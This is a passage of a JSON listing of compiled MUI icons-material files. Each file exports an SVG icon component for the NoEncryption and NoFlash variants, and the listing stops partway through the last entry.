  {
    "path": "packages/mui-icons-material/lib/NoEncryption.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 21.78 4.22 5 3 6.22l2.04 2.04C4.42 8.6 4 9.25 4 10v10c0 1.1.9 2 2 2h12c.23 0 .45-.05.66-.12L19.78 23zM8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2H9.66L20 18.34V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5-2.56 0-4.64 1.93-4.94 4.4L8.9 7.24z\"\n}), 'NoEncryption');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoEncryption.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 21.78 4.22 5 3 6.22l2.04 2.04C4.42 8.6 4 9.25 4 10v10c0 1.1.9 2 2 2h12c.23 0 .45-.05.66-.12L19.78 23zM8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2H9.66L20 18.34V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5-2.56 0-4.64 1.93-4.94 4.4L8.9 7.24z\"\n}), 'NoEncryption');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoEncryptionGmailerrorred.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2h-4.27L20 17.17V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5-2.21 0-4.07 1.45-4.73 3.44L8.9 6.07zM2.1 2.1.69 3.51 5.3 8.13C4.55 8.42 4 9.15 4 10v10c0 1.1.9 2 2 2h12c.34 0 .65-.09.93-.24l1.56 1.56 1.41-1.41zM12 17c-1.1 0-2-.9-2-2 0-.59.27-1.12.68-1.49l2.81 2.81c-.37.41-.9.68-1.49.68\"\n}), 'NoEncryptionGmailerrorred');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoEncryptionGmailerrorred.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2h-4.27L20 17.17V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5-2.21 0-4.07 1.45-4.73 3.44L8.9 6.07zM2.1 2.1.69 3.51 5.3 8.13C4.55 8.42 4 9.15 4 10v10c0 1.1.9 2 2 2h12c.34 0 .65-.09.93-.24l1.56 1.56 1.41-1.41zM12 17c-1.1 0-2-.9-2-2 0-.59.27-1.12.68-1.49l2.81 2.81c-.37.41-.9.68-1.49.68\"\n}), 'NoEncryptionGmailerrorred');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoEncryptionGmailerrorredOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2h-4.66l2 2H18v5.56l2 2V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5-2.32 0-4.26 1.59-4.82 3.74L8.9 6.46zM4.41 4.81 3 6.22l2.04 2.04C4.42 8.6 4 9.25 4 10v10c0 1.1.9 2 2 2h12.78l1 1 1.41-1.41zM6 20V10h.78l10 10z\"\n}), 'NoEncryptionGmailerrorredOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoEncryptionGmailerrorredOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2h-4.66l2 2H18v5.56l2 2V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5-2.32 0-4.26 1.59-4.82 3.74L8.9 6.46zM4.41 4.81 3 6.22l2.04 2.04C4.42 8.6 4 9.25 4 10v10c0 1.1.9 2 2 2h12.78l1 1 1.41-1.41zM6 20V10h.78l10 10z\"\n}), 'NoEncryptionGmailerrorredOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoEncryptionGmailerrorredRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2h-4.66L20 17.56V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5-2.32 0-4.26 1.59-4.82 3.74L8.9 6.46zm-3.78-.49a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l1.33 1.33C4.42 8.6 4 9.25 4 10v10c0 1.1.9 2 2 2h12.78l.29.29c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41z\"\n}), 'NoEncryptionGmailerrorredRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoEncryptionGmailerrorredRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2h-4.66L20 17.56V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5-2.32 0-4.26 1.59-4.82 3.74L8.9 6.46zm-3.78-.49a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l1.33 1.33C4.42 8.6 4 9.25 4 10v10c0 1.1.9 2 2 2h12.78l.29.29c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41z\"\n}), 'NoEncryptionGmailerrorredRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoEncryptionGmailerrorredSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2h-4.66L20 17.56V8h-3V6.22c0-2.61-1.91-4.94-4.51-5.19-2.53-.25-4.72 1.41-5.32 3.7L8.9 6.46zM4.41 4.81 3 6.22 4.78 8H4v14h14.78l1 1 1.41-1.41z\"\n}), 'NoEncryptionGmailerrorredSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoEncryptionGmailerrorredSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2h-4.66L20 17.56V8h-3V6.22c0-2.61-1.91-4.94-4.51-5.19-2.53-.25-4.72 1.41-5.32 3.7L8.9 6.46zM4.41 4.81 3 6.22 4.78 8H4v14h14.78l1 1 1.41-1.41z\"\n}), 'NoEncryptionGmailerrorredSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoEncryptionGmailerrorredTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 20h10.78l-10-10H6zm6.44-10L18 15.56V10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2h-4.66l2 2H18v5.56l2 2V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5-2.32 0-4.26 1.59-4.82 3.74L8.9 6.46zM4.41 4.81 3 6.22l2.04 2.04C4.42 8.6 4 9.25 4 10v10c0 1.1.9 2 2 2h12.78l1 1 1.41-1.41zM6 20V10h.78l10 10z\"\n}, \"1\")], 'NoEncryptionGmailerrorredTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoEncryptionGmailerrorredTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 20h10.78l-10-10H6zm6.44-10L18 15.56V10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2h-4.66l2 2H18v5.56l2 2V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5-2.32 0-4.26 1.59-4.82 3.74L8.9 6.46zM4.41 4.81 3 6.22l2.04 2.04C4.42 8.6 4 9.25 4 10v10c0 1.1.9 2 2 2h12.78l1 1 1.41-1.41zM6 20V10h.78l10 10z\"\n}, \"1\")], 'NoEncryptionGmailerrorredTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoEncryptionOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2h-4.66l2 2H18v5.56l2 2V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5-2.32 0-4.26 1.59-4.82 3.74L8.9 6.46zM4.41 4.81 3 6.22l2.04 2.04C4.42 8.6 4 9.25 4 10v10c0 1.1.9 2 2 2h12.78l1 1 1.41-1.41zM6 20V10h.78l10 10z\"\n}), 'NoEncryptionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoEncryptionOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2h-4.66l2 2H18v5.56l2 2V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5-2.32 0-4.26 1.59-4.82 3.74L8.9 6.46zM4.41 4.81 3 6.22l2.04 2.04C4.42 8.6 4 9.25 4 10v10c0 1.1.9 2 2 2h12.78l1 1 1.41-1.41zM6 20V10h.78l10 10z\"\n}), 'NoEncryptionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoEncryptionRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2h-4.66L20 17.56V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5-2.32 0-4.26 1.59-4.82 3.74L8.9 6.46zm-3.78-.49a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l1.33 1.33C4.42 8.6 4 9.25 4 10v10c0 1.1.9 2 2 2h12.78l.29.29c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41z\"\n}), 'NoEncryptionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoEncryptionRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2h-4.66L20 17.56V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5-2.32 0-4.26 1.59-4.82 3.74L8.9 6.46zm-3.78-.49a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l1.33 1.33C4.42 8.6 4 9.25 4 10v10c0 1.1.9 2 2 2h12.78l.29.29c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41z\"\n}), 'NoEncryptionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoEncryptionSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2h-4.66L20 17.56V8h-3V6.22c0-2.61-1.91-4.94-4.51-5.19-2.53-.25-4.72 1.41-5.32 3.7L8.9 6.46zM4.41 4.81 3 6.22 4.78 8H4v14h14.78l1 1 1.41-1.41z\"\n}), 'NoEncryptionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoEncryptionSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2h-4.66L20 17.56V8h-3V6.22c0-2.61-1.91-4.94-4.51-5.19-2.53-.25-4.72 1.41-5.32 3.7L8.9 6.46zM4.41 4.81 3 6.22 4.78 8H4v14h14.78l1 1 1.41-1.41z\"\n}), 'NoEncryptionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoEncryptionTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 20h10.78l-10-10H6zm6.44-10L18 15.56V10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2h-4.66l2 2H18v5.56l2 2V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5-2.32 0-4.26 1.59-4.82 3.74L8.9 6.46zM4.41 4.81 3 6.22l2.04 2.04C4.42 8.6 4 9.25 4 10v10c0 1.1.9 2 2 2h12.78l1 1 1.41-1.41zM6 20V10h.78l10 10z\"\n}, \"1\")], 'NoEncryptionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoEncryptionTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 20h10.78l-10-10H6zm6.44-10L18 15.56V10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2h-4.66l2 2H18v5.56l2 2V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5-2.32 0-4.26 1.59-4.82 3.74L8.9 6.46zM4.41 4.81 3 6.22l2.04 2.04C4.42 8.6 4 9.25 4 10v10c0 1.1.9 2 2 2h12.78l1 1 1.41-1.41zM6 20V10h.78l10 10z\"\n}, \"1\")], 'NoEncryptionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoFlash.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.93 13.93 2.45 2.45 1.04 3.87l5.3 5.3-.2.23H3.6c-.88 0-1.6.72-1.6 1.6v9.4c0 .88.72 1.6 1.6 1.6h12.8c.75 0 1.38-.52 1.55-1.22l2.18 2.18 1.41-1.41L18 18zM10 20c-2.21 0-4-1.79-4-4 0-1.95 1.4-3.57 3.25-3.92l1.57 1.57c-.26-.09-.53-.15-.82-.15-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5 2.5-1.12 2.5-2.5c0-.29-.06-.56-.15-.82l1.57 1.57C13.57 18.6 11.95 20 10 20m8-4.83L10.83 8h1.75l1.28 1.4h2.54c.88 0 1.6.72 1.6 1.6zm2.4-9.57H22L19 11V7h-1V2h4z\"\n}), 'NoFlash');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoFlash.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.93 13.93 2.45 2.45 1.04 3.87l5.3 5.3-.2.23H3.6c-.88 0-1.6.72-1.6 1.6v9.4c0 .88.72 1.6 1.6 1.6h12.8c.75 0 1.38-.52 1.55-1.22l2.18 2.18 1.41-1.41L18 18zM10 20c-2.21 0-4-1.79-4-4 0-1.95 1.4-3.57 3.25-3.92l1.57 1.57c-.26-.09-.53-.15-.82-.15-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5 2.5-1.12 2.5-2.5c0-.29-.06-.56-.15-.82l1.57 1.57C13.57 18.6 11.95 20 10 20m8-4.83L10.83 8h1.75l1.28 1.4h2.54c.88 0 1.6.72 1.6 1.6zm2.4-9.57H22L19 11V7h-1V2h4z\"\n}), 'NoFlash');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoFlashOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.4 5.6H22L19 11V7h-1V2h4zM16 11.4v1.77l2 2V11c0-.88-.72-1.6-1.6-1.6h-2.54L12.58 8h-1.75l3.4 3.4zM2.1 2.1.69 3.51l5.66 5.66-.21.23H3.6c-.88 0-1.6.72-1.6 1.6v9.4c0 .88.72 1.6 1.6 1.6h12.8c.75 0 1.38-.52 1.55-1.22l2.54 2.54 1.41-1.41zm9.4 13.4c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5S9.17 14 10 14s1.5.67 1.5 1.5m4.46 4.5H4v-8.6h3.02l.59-.65.15-.16 1.5 1.5c-1.58.34-2.76 1.73-2.76 3.41 0 1.93 1.57 3.5 3.5 3.5 1.68 0 3.07-1.18 3.42-2.76l2.55 2.55z\"\n}), 'NoFlashOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoFlashOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.4 5.6H22L19 11V7h-1V2h4zM16 11.4v1.77l2 2V11c0-.88-.72-1.6-1.6-1.6h-2.54L12.58 8h-1.75l3.4 3.4zM2.1 2.1.69 3.51l5.66 5.66-.21.23H3.6c-.88 0-1.6.72-1.6 1.6v9.4c0 .88.72 1.6 1.6 1.6h12.8c.75 0 1.38-.52 1.55-1.22l2.54 2.54 1.41-1.41zm9.4 13.4c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5S9.17 14 10 14s1.5.67 1.5 1.5m4.46 4.5H4v-8.6h3.02l.59-.65.15-.16 1.5 1.5c-1.58.34-2.76 1.73-2.76 3.41 0 1.93 1.57 3.5 3.5 3.5 1.68 0 3.07-1.18 3.42-2.76l2.55 2.55z\"\n}), 'NoFlashOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoFlashRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.16 3.16a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l4.6 4.6-.21.23H3.6c-.88 0-1.6.72-1.6 1.6v9.4c0 .88.72 1.6 1.6 1.6h12.8c.75 0 1.38-.52 1.55-1.22l1.47 1.47c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zM10 20c-2.21 0-4-1.79-4-4 0-1.95 1.4-3.57 3.25-3.92l1.57 1.57c-.26-.09-.53-.15-.82-.15-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5 2.5-1.12 2.5-2.5c0-.29-.06-.56-.15-.82l1.57 1.57C13.57 18.6 11.95 20 10 20m8-4.83L10.83 8h.87c.56 0 1.1.24 1.48.65l.69.75h2.54c.88 0 1.6.72 1.6 1.6v4.17zm2.4-9.57h.75c.38 0 .62.41.44.74L19 11V7h-.5c-.28 0-.5-.22-.5-.5v-4c0-.28.22-.5.5-.5h2.73c.36 0 .6.37.46.7z\"\n}), 'NoFlashRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoFlashRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.16 3.16a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l4.6 4.6-.21.23H3.6c-.88 0-1.6.72-1.6 1.6v9.4c0 .88.72 1.6 1.6 1.6h12.8c.75 0 1.38-.52 1.55-1.22l1.47 1.47c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zM10 20c-2.21 0-4-1.79-4-4 0-1.95 1.4-3.57 3.25-3.92l1.57 1.57c-.26-.09-.53-.15-.82-.15-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5 2.5-1.12 2.5-2.5c0-.29-.06-.56-.15-.82l1.57 1.57C13.57 18.6 11.95 20 10 20m8-4.83L10.83 8h.87c.56 0 1.1.24 1.48.65l.69.75h2.54c.88 0 1.6.72 1.6 1.6v4.17zm2.4-9.57h.75c.38 0 .62.41.44.74L19 11V7h-.5c-.28 0-.5-.22-.5-.5v-4c0-.28.22-.5.5-.5h2.73c.36 0 .6.37.46.7z\"\n}), 'NoFlashRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoFlashSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.45 2.45 1.04 3.87l5.3 5.3-.2.23H2V22h16v-1.17l2.13 2.13 1.41-1.41zM10 20c-2.21 0-4-1.79-4-4 0-1.95 1.4-3.57 3.25-3.92l1.57 1.57c-.26-.09-.53-.15-.82-.15-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5 2.5-1.12 2.5-2.5c0-.29-.06-.56-.15-.82l1.57 1.57C13.57 18.6 11.95 20 10 20m8-4.83L10.83 8h1.75l1.28 1.4H18zm2.4-9.57H22L19 11V7h-1V2h4z\"\n}), 'NoFlashSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoFlashSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.45 2.45 1.04 3.87l5.3 5.3-.2.23H2V22h16v-1.17l2.13 2.13 1.41-1.41zM10 20c-2.21 0-4-1.79-4-4 0-1.95 1.4-3.57 3.25-3.92l1.57 1.57c-.26-.09-.53-.15-.82-.15-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5 2.5-1.12 2.5-2.5c0-.29-.06-.56-.15-.82l1.57 1.57C13.57 18.6 11.95 20 10 20m8-4.83L10.83 8h1.75l1.28 1.4H18zm2.4-9.57H22L19 11V7h-1V2h4z\"\n}), 'NoFlashSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoFlashTwoTone.js",
